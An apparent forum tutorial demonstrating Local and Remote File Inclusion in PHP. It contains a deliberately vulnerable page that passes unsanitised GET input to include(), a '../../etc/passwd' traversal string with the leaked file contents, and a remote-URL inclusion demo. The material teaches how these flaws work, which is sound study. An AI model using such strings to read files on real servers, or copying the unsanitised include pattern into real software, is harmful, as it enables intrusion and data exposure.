Local File Inclusion Local File Inclusion ( LFI ) is a method of including files on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like , include() , require() etc.) . Mostly these attacks are accompanied by Directory Transversal attacks which can reveal some sensitive data leading to further attacks. Now that’s quite a bit of theory there let’s have a look on a sample vulnerable application. Demonstration [Proof of Concept] I have created a pair of files named index.html and lfi.php lfi.php Code: <html> <head> <title>Vulnerable to LFI -- by lionaneesh</title> </head> <body> <h1>Welcome to this Website</h1> <?php $page = isset($_GET['page']) ? $_GET['page'] : 'index.html'; ?> <p>You are currently at <?php echo"<a href='$page'>$page</a>";?></p> <?php include($page); ?> </body> </html> As you see the above code has a include(USER_INPUT) So basically we can input any filename and it will simply print out the contents on the screen. This is the most popular form in which these bugs occur. index.html Code: <p>Hello I am a sample page my name is index.html</p> Providing normal Input:- First let’s try and give this app a normal input which it would be expecting. Input: index.html Output:- Code: [B]Welcome to this Website[/B] You are currently at [URL="http://localhost:8080/Work/Pr0gr4amming/Application%20Programming/index.html"]index.html[/URL] Hello I am a sample page my name is index.html It works fine! Now let’s construct the attack string and see what happens! Constructing the attack string As I am working on UNIX we’ll print out the contents of /etc/passwd file , The file /etc/passwd is a local source of information about users' accounts. My present working directory is /var/www/ , So what I have to do is :- Go back 2 directories and Then go to /etc/passwd We can go back 2 directories using ‘../../’ Attack string :- Code: ../../etc/passwd Now lets feed this as an input and see what happens. Input: “ ../../etc/passwd” Code: [B]Welcome to this Website[/B] You are currently at ../../etc/passwd root:x:0:1:Super-User:/root:/sbin/sh daemon:x:1:1::/: bin:x:2:2::/usr/bin: sys:x:3:3::/: adm:x:4:4:Admin:/var/adm: lp:x:71:8:Line Printer Admin:/usr/spool/lp: uucp:x:5:5:uucp Admin:/usr/lib/uucp: nuucp:x:9:9:uucp Admin:/var/spool/uucppublic:/usr/lib/uucp/ And voila! We just printed the /etc/passwd file. Remote File Inclusion RFI is an abbreviation for Remove File Inclusion and is quite similar to LFI, Remote File Inclusion ( RFI ) is a method of including Remote files(present on another server) on a server through a Modified Special HTTP request. This vulnerability can be exploited using a Web Browser and thus can be very easy to exploit. The vulnerability occurs when a user supplied data without sanitizing is provided to an ‘inclusion type’ (like, include (), require () etc.) Demonstration [Proof of Concept] We’ll be using the same sample web-app we used to Demonstrate LFI Constructing the attack string:- In our case we want to include go4expert’s index file in our local file. So what we have to do is, simply provide the URI as an input and see what happens Input : http://go4expert.com Output (page source):- Code: <html> <head> <title>Vulnerable to LFI -- by lionaneesh</title> </head> <body> <h1>Welcome to this Website</h1> <p>You are currently at <a href='[URL="http://www.go4expert.com/view-source:http://go4expert.com/"]http://go4expert.com[/URL]'>http://go4expert.com</a> </p> <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"><html dir="ltr" lang="en" xmlns="http://www.w3.org/1999/xhtml"><head> <meta http-equiv="Cache-Control" content="no-cache" /> <meta http-equiv="Pragma" content="no-cache" /> <meta http-equiv="Expires" content="0" /> <title>Programming and SEO Forums </title> <!-- ChartBeat --> <script type="text/javascript">var _sf_startpt=(new Date()).getTime()</script> <!-- /ChartBeat --> --------Sniped----------- Note: In most modern ‘php.ini’ files, allow_url_include is set to off which would not allow a malicious user to include a remote file. That’s all for this tutorial stay tuned for more!
